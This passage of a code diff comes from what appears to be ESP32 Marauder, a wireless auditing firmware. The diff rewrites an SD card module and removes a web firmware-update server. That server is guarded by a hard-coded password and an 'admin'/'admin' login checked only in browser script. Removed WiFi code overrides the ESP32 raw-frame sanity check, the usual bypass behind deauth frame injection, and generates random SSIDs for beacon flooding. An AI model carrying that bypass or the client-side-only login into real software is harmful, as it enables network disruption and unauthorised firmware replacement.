-    delay(1000);
-    ESP.restart();
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text_table2[4]));
-    #endif
-    Serial.println(F("Could not load update.bin from sd root"));
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_WHITE);
-    #endif
-  }
-}
-
-void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) {
-  if (Update.begin(updateSize)) {   
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table2[5] + String(updateSize));
-      display_obj.tft.println(F(text_table2[6]));
-    #endif
-    size_t written = Update.writeStream(updateSource);
-    if (written == updateSize) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table2[7] + String(written) + text_table2[10]);
-      #endif
-      Serial.println("Written : " + String(written) + " successfully");
-    }
-    else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table2[8] + String(written) + "/" + String(updateSize) + text_table2[9]);
-      #endif
-      Serial.println("Written only : " + String(written) + "/" + String(updateSize) + ". Retry?");
-    }
-    if (Update.end()) {
-      Serial.println("OTA done!");
-      if (Update.isFinished()) {
-        #ifdef HAS_SCREEN
-          display_obj.tft.println(F(text_table2[11]));
-        #endif
-        Serial.println(F("Update successfully completed. Rebooting."));
-      }
-      else {
-        #ifdef HAS_SCREEN
-          display_obj.tft.setTextColor(TFT_RED);
-          display_obj.tft.println(text_table2[12]);
-        #endif
-        Serial.println("Update not finished? Something went wrong!");
-        #ifdef HAS_SCREEN
-          display_obj.tft.setTextColor(TFT_WHITE);
-        #endif
-      }
-    }
-    else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table2[13] + String(Update.getError()));
-      #endif
-      Serial.println("Error Occurred. Error #: " + String(Update.getError()));
-    }
-
-  }
-  else
-  {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table2[14]);
-    #endif
-    Serial.println("Not enough space to begin OTA");
-  }
-}
-
-bool SDInterface::checkDetectPin() {
-  /* #ifdef KIT
-    if (digitalRead(SD_DET) == LOW)
-      return true;
-    else
-      return false;
-  #endif*/
-
-  return false;
-}
-
-void SDInterface::main() {
-  if ((this->supported) && (this->do_save)) {
-    //Serial.println("Saving packet...");
-    buffer_obj.forceSave(&SD_MMC);
-  }
-  else if (!this->supported) {
-    if (checkDetectPin()) {
-      delay(100);
-      this->initSD();
-    }
-  }
-}
+#include "SDInterface.h"
+#include "lang_var.h"
+
+bool SDInterface::initSD() {
+    String display_string = "";
+
+    /*#ifdef KIT
+      pinMode(SD_DET, INPUT);
+      if (digitalRead(SD_DET) == LOW) {
+        Serial.println(F("SD Card Detect Pin Detected"));
+      }
+      else {
+        Serial.println(F("SD Card Detect Pin Not Detected"));
+        this->supported = false;
+        return false;
+      }
+    #endif
+
+    pinMode(SD_CS, OUTPUT);
+
+    delay(10);*/
+
+  if (!SD_MMC.begin("/sdcard", true, false, SDMMC_FREQ_DEFAULT)) {
+    Serial.println(F("Failed to mount SD Card"));
+    this->supported = false;
+    return false;
+  }
+  uint8_t cardType = SD_MMC.cardType();
+  if (cardType == CARD_NONE) {
+    Serial.println("No MicroSD Card found");
+    this->supported = false;
+    return false;
+  } else {
+    this->supported = true;
+    this->cardType = cardType;
+      //if (cardType == CARD_MMC)
+      //  Serial.println(F("SD: MMC Mounted"));
+      //else if(cardType == CARD_SD)
+      //    Serial.println(F("SD: SDSC Mounted"));
+      //else if(cardType == CARD_SDHC)
+      //    Serial.println(F("SD: SDHC Mounted"));
+      //else
+      //    Serial.println(F("SD: UNKNOWN Card Mounted"));
+
+    this->cardSizeMB = SD_MMC.cardSize() / (1024 * 1024);
+    
+      //Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
+
+      if (this->supported) {
+        const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
+
+        char sz[NUM_DIGITS + 1];
+
+        sz[NUM_DIGITS] =  0;
+        for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
+        {
+            sz[i] = '0' + (this->cardSizeMB % 10);
+            display_string.concat((String)sz[i]);
+        }
+  
+        this->card_sz = sz;
+      }
+
+      buffer_obj = Buffer();
+    
+      if (!SD_MMC.exists("/SCRIPTS")) {
+        Serial.println("/SCRIPTS does not exist. Creating...");
+
+        SD_MMC.mkdir("/SCRIPTS");
+        Serial.println("/SCRIPTS created");
+      }
+    
+      return true;
+  }
+}
+
+File SDInterface::getFile(String path) {
+  if (this->supported) {
+    File file = SD_MMC.open(path, FILE_READ);
+
+    //if (file)
+    return file;
+  }
+}
+
+void SDInterface::listDir(String str_dir){
+  if (this->supported) {
+    File dir = SD_MMC.open(str_dir);
+    while (true)
+    {
+      File entry =  dir.openNextFile();
+      if (! entry)
+      {
+        break;
+      }
+      //for (uint8_t i = 0; i < numTabs; i++)
+      //{
+      //  Serial.print('\t');
+      //}
+      Serial.print(entry.name());
+      Serial.print("\t");
+      Serial.println(entry.size());
+      entry.close();
+    }
+  }
+}
+
+void SDInterface::addPacket(uint8_t* buf, uint32_t len, bool log) {
+  if ((this->supported) && (this->do_save)) {
+    buffer_obj.addPacket(buf, len, log);
+  }
+}
+
+void SDInterface::openCapture(String file_name) {
+  bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
+  if ((this->supported) && (save_pcap)) {
+    buffer_obj.createPcapFile(&SD_MMC, file_name);
+    buffer_obj.open();
+  }
+}
+
+void SDInterface::openLog(String file_name) {
+  bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
+  if ((this->supported) && (save_pcap)) {
+    buffer_obj.createPcapFile(&SD_MMC, file_name, true);
+    buffer_obj.open(true);
+  }
+}
+
+void SDInterface::runUpdate() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_WHITE);
+  
+    display_obj.tft.println(F(text15));
+  #endif
+  File updateBin = SD_MMC.open("/update.bin");
+  if (updateBin) {
+    if(updateBin.isDirectory()){
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_RED);
+        display_obj.tft.println(F(text_table2[0]));
+      #endif
+      Serial.println(F("Error, could not find \"update.bin\""));
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_WHITE);
+      #endif
+      updateBin.close();
+      return;
+    }
+
+    size_t updateSize = updateBin.size();
+
+    if (updateSize > 0) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(F(text_table2[1]));
+      #endif
+      Serial.println(F("Starting update over SD. Please wait..."));
+      this->performUpdate(updateBin, updateSize);
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_RED);
+        display_obj.tft.println(F(text_table2[2]));
+      #endif
+      Serial.println(F("Error, file is empty"));
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_WHITE);
+      #endif
+      return;
+    }
+
+    updateBin.close();
+    
+      // whe finished remove the binary from sd card to indicate end of the process
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(F(text_table2[3]));
+    #endif
+    Serial.println(F("rebooting..."));
+    //SD.remove("/update.bin");      
+    delay(1000);
+    ESP.restart();
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_RED);
+      display_obj.tft.println(F(text_table2[4]));
+    #endif
+    Serial.println(F("Could not load update.bin from sd root"));
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_WHITE);
+    #endif
+  }
+}
+
+void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) {
+  if (Update.begin(updateSize)) {   
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table2[5] + String(updateSize));
+      display_obj.tft.println(F(text_table2[6]));
+    #endif
+    size_t written = Update.writeStream(updateSource);
+    if (written == updateSize) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table2[7] + String(written) + text_table2[10]);
+      #endif
+      Serial.println("Written : " + String(written) + " successfully");
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table2[8] + String(written) + "/" + String(updateSize) + text_table2[9]);
+      #endif
+      Serial.println("Written only : " + String(written) + "/" + String(updateSize) + ". Retry?");
+    }
+    if (Update.end()) {
+      Serial.println("OTA done!");
+      if (Update.isFinished()) {
+        #ifdef HAS_SCREEN
+          display_obj.tft.println(F(text_table2[11]));
+        #endif
+        Serial.println(F("Update successfully completed. Rebooting."));
+      }
+      else {
+        #ifdef HAS_SCREEN
+          display_obj.tft.setTextColor(TFT_RED);
+          display_obj.tft.println(text_table2[12]);
+        #endif
+        Serial.println("Update not finished? Something went wrong!");
+        #ifdef HAS_SCREEN
+          display_obj.tft.setTextColor(TFT_WHITE);
+        #endif
+      }
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table2[13] + String(Update.getError()));
+      #endif
+      Serial.println("Error Occurred. Error #: " + String(Update.getError()));
+    }
+
+  }
+  else
+  {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table2[14]);
+    #endif
+    Serial.println("Not enough space to begin OTA");
+  }
+}
+
+bool SDInterface::checkDetectPin() {
+  /* #ifdef KIT
+    if (digitalRead(SD_DET) == LOW)
+      return true;
+    else
+      return false;
+  #endif*/
+
+  return false;
+}
+
+void SDInterface::main() {
+  if ((this->supported) && (this->do_save)) {
+    //Serial.println("Saving packet...");
+    buffer_obj.forceSave(&SD_MMC);
+  }
+  else if (!this->supported) {
+    if (checkDetectPin()) {
+      delay(100);
+      this->initSD();
+    }
+  }
+}

+ 6 - 2
esp32cam_marauder/SDInterface.h

@@ -3,7 +3,7 @@
 
 #include "configs.h"
 
-//#include "SD.h"
+#include "settings.h"
 #include "FS.h"                // SD Card ESP32
 #include "SD_MMC.h"            // SD Card ESP32
 #include "Buffer.h"
@@ -13,6 +13,7 @@
 #include <Update.h>
 
 extern Buffer buffer_obj;
+extern Settings settings_obj;
 #ifdef HAS_SCREEN
   extern Display display_obj;
 #endif
@@ -39,8 +40,11 @@ class SDInterface {
   
     bool initSD();
 
-    void addPacket(uint8_t* buf, uint32_t len);
+    void listDir(String str_dir);
+    File getFile(String path);
+    void addPacket(uint8_t* buf, uint32_t len, bool log = false);
     void openCapture(String file_name = "");
+    void openLog(String file_name = "");
     void runUpdate();
     void performUpdate(Stream &updateSource, size_t updateSize);
     void main();

+ 0 - 36
esp32cam_marauder/TemperatureInterface.cpp

@@ -1,36 +0,0 @@
-#include "TemperatureInterface.h"
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-uint8_t temprature_sens_read();
-#ifdef __cplusplus
-}
-#endif
-uint8_t temprature_sens_read();
-
-TemperatureInterface::TemperatureInterface() {
-  
-}
-
-void TemperatureInterface::RunSetup() {
-  this->initTime = millis();
-  this->current_temp = this->getCurrentTemp();
-}
-
-uint8_t TemperatureInterface::getCurrentTemp() {
-  #ifndef MARAUDER_FLIPPER
-    return ((temprature_sens_read() - 32) / 1.8);
-  #endif
-    return 0;
-}
-
-void TemperatureInterface::main(uint32_t currentTime) {
-  if (currentTime != 0) {
-    if (currentTime - initTime >= 100) {
-      //Serial.println("Checking Battery Level");
-      this->initTime = millis();
-      this->current_temp = this->getCurrentTemp();
-    }
-  }
-}

+ 0 - 24
esp32cam_marauder/TemperatureInterface.h

@@ -1,24 +0,0 @@
-#ifndef TemperatureInterface_h
-#define TemperatureInterface_h
-
-#include "configs.h"
-
-#include <Arduino.h>
-
-class TemperatureInterface {
-
-  private:
-    uint32_t initTime = 0;
-    
-  public:
-    TemperatureInterface();
-
-    uint8_t current_temp = 0;
-    uint8_t old_temp = 0;
-
-    uint8_t getCurrentTemp();
-    void RunSetup();
-    void main(uint32_t currentTime);
-};
-
-#endif

+ 0 - 178
esp32cam_marauder/Web.cpp

@@ -1,178 +0,0 @@
-#include "Web.h"
-#include "lang_var.h"
-
-WebServer server(80);
-
-Web::Web()
-{
-  
-}
-
-void Web::main()
-{
-  // Notify if client has connected to the update server
-
-  
-  int current_sta = WiFi.softAPgetStationNum();
-  
-  if (current_sta < this->num_sta)
-  {
-    this->num_sta = current_sta;
-    Serial.print("Update server: Client disconnected -> ");
-    Serial.println(this->num_sta);
-  }
-  else if (current_sta > this->num_sta)
-  {
-    this->num_sta = current_sta;
-    Serial.print("Update server: Client connected -> ");
-    Serial.println(this->num_sta);
-  }
-  
-  
-  server.handleClient();
-  delay(1);
-}
-
-// Callback for the embedded jquery.min.js page
-void Web::onJavaScript(void) {
-    Serial.println("onJavaScript(void)");
-    server.setContentLength(jquery_min_js_v3_2_1_gz_len);
-    server.sendHeader(F("Content-Encoding"), F("gzip"));
-    server.send_P(200, "text/javascript", jquery_min_js_v3_2_1_gz, jquery_min_js_v3_2_1_gz_len);
-}
-
-void Web::setupOTAupdate()
-{
-  uint8_t newMACAddress[] = {0x06, 0x07, 0x0D, 0x09, 0x0E, 0x0D};
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_WHITE);
-  #endif
-
-  Serial.println(wifi_scan_obj.freeRAM());
-  #ifdef HAS_SCREEN
-    display_obj.tft.print(text_table3[0]);  
-  #endif
-  Serial.println("Configuring update server...");
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextColor(TFT_YELLOW);
-  #endif
-  
-  // Start WiFi AP
-  Serial.println("Initializing WiFi...");
-  //wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
-  esp_wifi_init(&wifi_scan_obj.cfg);
-  //esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  if (esp_wifi_set_storage(WIFI_STORAGE_FLASH) != ESP_OK)
-    Serial.println("Could not set WiFi Storage!");
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  Serial.println(wifi_scan_obj.freeRAM());
-
-  Serial.println("Starting softAP...");
-  esp_wifi_set_mac(WIFI_IF_AP, &newMACAddress[0]);
-  WiFi.softAP(ssid, password);
-  Serial.println("");
-
-  Serial.println(wifi_scan_obj.freeRAM());
-
-  Serial.println("Displaying settings to TFT...");
-  #ifdef HAS_SCREEN
-    display_obj.tft.print(text_table1[2]);
-    display_obj.tft.println(ssid);
-    display_obj.tft.print(text_table3[1]);
-    display_obj.tft.print(WiFi.softAPIP());
-    display_obj.tft.print("\n");
-  #endif
-  Serial.print("IP address: ");
-  Serial.println(WiFi.softAPIP());
-
-  // return javascript jquery
-  Serial.println("Setting server behavior...");
-  Serial.println(wifi_scan_obj.freeRAM());
-  server.on("/jquery.min.js", HTTP_GET, onJavaScript);
-  /*return index page which is stored in serverIndex */
-  server.on("/", HTTP_GET, [this]() {
-    server.sendHeader("Connection", "close");
-    server.send(200, "text/html", loginIndex);
-  });
-  server.on("/serverIndex", HTTP_GET, [this]() {
-    server.sendHeader("Connection", "close");
-    server.send(200, "text/html", serverIndex);
-  });
-  /*handling uploading firmware file */
-  server.on("/update", HTTP_POST, [this]() {
-    server.sendHeader("Connection", "close");
-    server.send(200, "text/plain", (Update.hasError()) ? "FAIL" : "OK");
-    ESP.restart();
-  }, [this]() {
-    HTTPUpload& upload = server.upload();
-    if (upload.status == UPLOAD_FILE_START) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_YELLOW);
-        display_obj.tft.print(text_table3[2]);
-        display_obj.tft.print(upload.filename.c_str());
-        display_obj.tft.print("\n");
-      #endif
-      Serial.printf("Update: %s\n", upload.filename.c_str());
-      if (!Update.begin(UPDATE_SIZE_UNKNOWN)) { //start with max available size
-        Update.printError(Serial);
-      }
-    } else if (upload.status == UPLOAD_FILE_WRITE) {
-      /* flashing firmware to ESP*/
-      if (Update.write(upload.buf, upload.currentSize) != upload.currentSize) {
-        Update.printError(Serial);
-      }
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_CYAN);
-        display_obj.tft.fillRect(0, 164, 240, 8, TFT_BLACK);
-        display_obj.tft.setCursor(0, 164);
-        display_obj.tft.print(text_table3[3]);
-        display_obj.tft.print(upload.totalSize);
-        display_obj.tft.print("\n");
-      #endif
-      
-    } else if (upload.status == UPLOAD_FILE_END) {
-      if (Update.end(true)) { //true to set the size to the current progress
-        #ifdef HAS_SCREEN
-          display_obj.tft.setTextColor(TFT_GREEN);
-          display_obj.tft.print(text_table3[4]);
-          display_obj.tft.print(upload.totalSize);
-          display_obj.tft.print(text_table2[3]);
-        #endif
-        Serial.printf("Update Success: %u\nRebooting...\n", upload.totalSize);
-        delay(1000);
-      } else {
-        Update.printError(Serial);
-      }
-    }
-  });
-
-  
-  Serial.println("Finished setting server behavior");
-  Serial.println(wifi_scan_obj.freeRAM());
-  Serial.println("Starting server...");
-  server.begin();
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextColor(TFT_GREEN);
-    display_obj.tft.println(text_table3[5]);
-  #endif
-  Serial.println("Completed update server setup");
-  Serial.println(wifi_scan_obj.freeRAM());
-}
-
-void Web::shutdownServer() {
-  Serial.println("Closing Update Server...");
-  server.stop();
-  WiFi.mode(WIFI_OFF);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_stop();
-  esp_wifi_deinit();
-  Serial.println(wifi_scan_obj.freeRAM());
-}

+ 0 - 141
esp32cam_marauder/Web.h

@@ -1,141 +0,0 @@
-#ifndef Web_h
-#define Web_h
-
-/*
-Code taken from espressif ESP32 OTA Update example
-*/
-
-#include "configs.h"
-
-#include <WiFi.h>
-#include <WiFiClient.h>
-#include <WebServer.h>
-#include <ESPmDNS.h>
-#include <Update.h>
-
-#include "Assets.h"
-
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-
-#include "WiFiScan.h"
-
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-extern WiFiScan wifi_scan_obj;
-
-class Web
-{
-  private:
-    
-    PROGMEM const char* host = "esp32marauder";
-    PROGMEM const char* ssid = "MarauderOTA";
-    PROGMEM const char* password = "justcallmekoko";
-
-    bool serving = false;
-    
-    int num_sta = 0;
-
-    PROGMEM const char* loginIndex = 
-     "<form name='loginForm'>"
-        "<table width='20%' bgcolor='A09F9F' align='center'>"
-            "<tr>"
-                "<td colspan=2>"
-                    "<center><font size=4><b>ESP32 Login Page</b></font></center>"
-                    "<br>"
-                "</td>"
-                "<br>"
-                "<br>"
-            "</tr>"
-            "<td>Username:</td>"
-            "<td><input type='text' size=25 name='userid'><br></td>"
-            "</tr>"
-            "<br>"
-            "<br>"
-            "<tr>"
-                "<td>Password:</td>"
-                "<td><input type='Password' size=25 name='pwd'><br></td>"
-                "<br>"
-                "<br>"
-            "</tr>"
-            "<tr>"
-                "<td><input type='submit' onclick='check(this.form)' value='Login'></td>"
-            "</tr>"
-        "</table>"
-    "</form>"
-    "<script>"
-        "function check(form)"
-        "{"
-        "if(form.userid.value=='admin' && form.pwd.value=='admin')"
-        "{"
-        "window.open('/serverIndex')"
-        "}"
-        "else"
-        "{"
-        " alert('Error Password or Username')/*displays error message*/"
-        "}"
-        "}"
-    "</script>";
-     
-    /*
-     * Server Index Page
-     */
-     
-    PROGMEM const char* serverIndex = 
-    "<script src='/jquery.min.js'></script>"
-    "Because the lack of an asynchronous webserver in this Arduino sketch like 'ESPAsyncWebServer', <br/>"
-    "both file 'serverIndex' and 'jquery.min.js' can't be read from the webserver at the same time. <br/><br/>"
-    "Your web browser probably requests those two files simultaneously and therefore <br/>"
-    "the javascript file failed to load. By a refresh of this page, the browser cash has already <br/>"
-    "load 'serverIndex' file, the web browser will do a second attempt to only read the javascript file. <br/>"
-    "This second attempt, with an idle webserver, will be processed.<br/><br/>"
-    "Long story short, press F5 (refresh web browser) before uploading your firmware. <br/><br/>"
-    "<form method='POST' action='#' enctype='multipart/form-data' id='upload_form'>"
-       "<input type='file' name='update'>"
-            "<input type='submit' value='Update'>"
-        "</form>"
-     "<div id='prg'>progress: 0%</div>"
-     "<script>"
-      "$('form').submit(function(e){"
-      "e.preventDefault();"
-      "var form = $('#upload_form')[0];"
-      "var data = new FormData(form);"
-      " $.ajax({"
-      "url: '/update',"
-      "type: 'POST',"
-      "data: data,"
-      "contentType: false,"
-      "processData:false,"
-      "xhr: function() {"
-      "var xhr = new window.XMLHttpRequest();"
-      "xhr.upload.addEventListener('progress', function(evt) {"
-      "if (evt.lengthComputable) {"
-      "var per = evt.loaded / evt.total;"
-      "$('#prg').html('progress: ' + Math.round(per*100) + '%');"
-      "}"
-      "}, false);"
-      "return xhr;"
-      "},"
-      "success:function(d, s) {"
-      "console.log('success!')" 
-     "},"
-     "error: function (a, b, c) {"
-     "}"
-     "});"
-     "});"
-     "</script>";
-
-  public:
-  
-    Web();
-
-    void main();
-    PROGMEM static void onJavaScript();
-    void setupOTAupdate();
-    void shutdownServer();
-};
-
-#endif

+ 4111 - 3732
esp32cam_marauder/WiFiScan.cpp

@@ -1,3732 +1,4111 @@
-#include "WiFiScan.h"
-#include "lang_var.h"
-
-int num_beacon = 0;
-int num_deauth = 0;
-int num_probe = 0;
-int num_eapol = 0;
-
-LinkedList<ssid>* ssids;
-LinkedList<AccessPoint>* access_points;
-LinkedList<Station>* stations;
-
-extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
-    if (arg == 31337)
-      return 1;
-    else
-      return 0;
-}
-
-#ifdef HAS_BT
-  class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
-  
-      void onResult(BLEAdvertisedDevice *advertisedDevice) {
-  
-        #ifdef HAS_SCREEN
-          int buf = display_obj.display_buffer->size();
-        #else
-          int buf = 0;
-        #endif
-          
-        String display_string = "";
-        if (buf >= 0)
-        {
-          display_string.concat(text_table4[0]);
-          display_string.concat(advertisedDevice->getRSSI());
-          Serial.print(" RSSI: ");
-          Serial.print(advertisedDevice->getRSSI());
-  
-          display_string.concat(" ");
-          Serial.print(" ");
-          
-          Serial.print("Device: ");
-          if(advertisedDevice->getName().length() != 0)
-          {
-            display_string.concat(advertisedDevice->getName().c_str());
-            Serial.print(advertisedDevice->getName().c_str());
-            
-          }
-          else
-          {
-            display_string.concat(advertisedDevice->getAddress().toString().c_str());
-            Serial.print(advertisedDevice->getAddress().toString().c_str());
-          }
-  
-          #ifdef HAS_SCREEN
-            uint8_t temp_len = display_string.length();
-            for (uint8_t i = 0; i < 40 - temp_len; i++)
-            {
-              display_string.concat(" ");
-            }
-    
-            Serial.println();
-    
-            while (display_obj.printing)
-              delay(1);
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          #endif
-        }
-      }
-  };
-  
-  class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
-      void onResult(BLEAdvertisedDevice *advertisedDevice) {
-        String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
-  
-        #ifdef HAS_SCREEN
-          int buf = display_obj.display_buffer->size();
-        #else
-          int buf = 0;
-        #endif
-          
-        if (buf >= 0)
-        {
-          Serial.print("Device: ");
-          String display_string = "";
-          if(advertisedDevice->getName().length() != 0)
-          {
-            Serial.print(advertisedDevice->getName().c_str());
-            for(uint8_t i = 0; i < bad_list_length; i++)
-            {
-              #ifdef HAS_SCREEN
-                if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
-                {
-                  display_string.concat(text_table4[1]);
-                  display_string.concat(" ");
-                  display_string.concat(advertisedDevice->getName().c_str());
-                  uint8_t temp_len = display_string.length();
-                  for (uint8_t i = 0; i < 40 - temp_len; i++)
-                  {
-                    display_string.concat(" ");
-                  }
-                  while (display_obj.printing)
-                    delay(1);
-                  display_obj.loading = true;
-                  display_obj.display_buffer->add(display_string);
-                  display_obj.loading = false;
-                }
-              #endif
-            }
-          }
-          else
-          {
-            Serial.print(advertisedDevice->getAddress().toString().c_str());
-          }
-          Serial.print(" RSSI: ");
-          Serial.println(advertisedDevice->getRSSI());
-        }
-      }
-  };
-#endif
-
-
-WiFiScan::WiFiScan()
-{
-}
-
-void WiFiScan::RunSetup() {
-  if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
-    this->wsl_bypass_enabled = true;
-  else
-    this->wsl_bypass_enabled = false;
-    
-  ssids = new LinkedList<ssid>();
-  access_points = new LinkedList<AccessPoint>();
-  stations = new LinkedList<Station>();
-
-  #ifdef HAS_BT
-    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
-    NimBLEDevice::setScanDuplicateCacheSize(200);
-    NimBLEDevice::init("");
-    pBLEScan = NimBLEDevice::getScan(); //create new scan
-    this->ble_initialized = true;
-    
-    this->shutdownBLE();
-  #endif
-
-  this->initWiFi(1);
-}
-
-int WiFiScan::clearStations() {
-  int num_cleared = stations->size();
-  stations->clear();
-  Serial.println("stations: " + (String)stations->size());
-
-  // Now clear stations list from APs
-  for (int i = 0; i < access_points->size(); i++)
-    access_points->get(i).stations->clear();
-    
-  return num_cleared;
-}
-
-int WiFiScan::clearAPs() {
-  int num_cleared = access_points->size();
-  access_points->clear();
-  Serial.println("access_points: " + (String)access_points->size());
-  return num_cleared;
-}
-
-int WiFiScan::clearSSIDs() {
-  int num_cleared = ssids->size();
-  ssids->clear();
-  Serial.println("ssids: " + (String)ssids->size());
-  return num_cleared;
-}
-
-bool WiFiScan::addSSID(String essid) {
-  ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
-  ssids->add(s);
-  Serial.println(ssids->get(ssids->size() - 1).essid);
-
-  return true;
-}
-
-int WiFiScan::generateSSIDs(int count) {
-  uint8_t num_gen = count;
-  for (uint8_t x = 0; x < num_gen; x++) {
-    String essid = "";
-
-    for (uint8_t i = 0; i < 6; i++)
-      essid.concat(alfa[random(65)]);
-
-    ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
-    ssids->add(s);
-    Serial.println(ssids->get(ssids->size() - 1).essid);
-  }
-
-  return num_gen;
-}
-
-#ifdef HAS_SCREEN
-  void WiFiScan::joinWiFi(String ssid, String password)
-  {
-    static const char * btns[] ={text16, ""};
-    int count = 0;
-    
-    if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
-      lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
-      lv_msgbox_set_text(mbox1, text_table4[2]);
-      lv_msgbox_add_btns(mbox1, btns);
-      lv_obj_set_width(mbox1, 200);
-      lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
-      this->wifi_initialized = true;
-      return;
-    }
-    else if (WiFi.status() == WL_CONNECTED) {
-      Serial.println("Already connected. Disconnecting...");
-      WiFi.disconnect();
-    }
-  
-    esp_wifi_init(&cfg);
-    esp_wifi_set_storage(WIFI_STORAGE_RAM);
-    esp_wifi_set_mode(WIFI_MODE_NULL);
-    esp_wifi_start();
-      
-    WiFi.begin(ssid.c_str(), password.c_str());
-  
-    Serial.print("Connecting to WiFi");
-    while (WiFi.status() != WL_CONNECTED) {
-      delay(500);
-      Serial.print(".");
-      count++;
-      if (count == 10)
-      {
-        Serial.println("\nCould not connect to WiFi network");
-        lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
-        lv_msgbox_set_text(mbox1, text_table4[3]);
-        lv_msgbox_add_btns(mbox1, btns);
-        lv_obj_set_width(mbox1, 200);
-        //lv_obj_set_event_cb(mbox1, event_handler);
-        lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
-        WiFi.mode(WIFI_OFF);
-        return;
-      }
-    }
-  
-    lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
-    lv_msgbox_set_text(mbox1, text_table4[4]);
-    lv_msgbox_add_btns(mbox1, btns);
-    lv_obj_set_width(mbox1, 200);
-    lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
-  
-    connected_network = ssid;
-    
-    Serial.println("\nConnected to the WiFi network");
-    Serial.print("IP address: ");
-    Serial.println(WiFi.localIP());
-    this->wifi_initialized = true;
-  }
-#endif
-
-// Apply WiFi settings
-void WiFiScan::initWiFi(uint8_t scan_mode) {
-  // Set the channel
-  if (scan_mode != WIFI_SCAN_OFF) {
-    //Serial.println(F("Initializing WiFi settings..."));
-    this->changeChannel();
-  
-    this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
-    this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
-    this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
-    //Serial.println(F("Initialization complete"));
-  }
-}
-
-bool WiFiScan::scanning() {
-  if (this->currentScanMode == WIFI_SCAN_OFF)
-    return false;
-  else
-    return true;
-}
-
-// Function to prepare to run a specific scan
-void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
-{  
-  this->initWiFi(scan_mode);
-  if (scan_mode == WIFI_SCAN_OFF)
-    StopScan(scan_mode);
-  else if (scan_mode == WIFI_SCAN_PROBE)
-    RunProbeScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_EAPOL)
-    RunEapolScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
-    RunEapolScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_AP)
-    RunBeaconScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
-    RunRawScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_STATION)
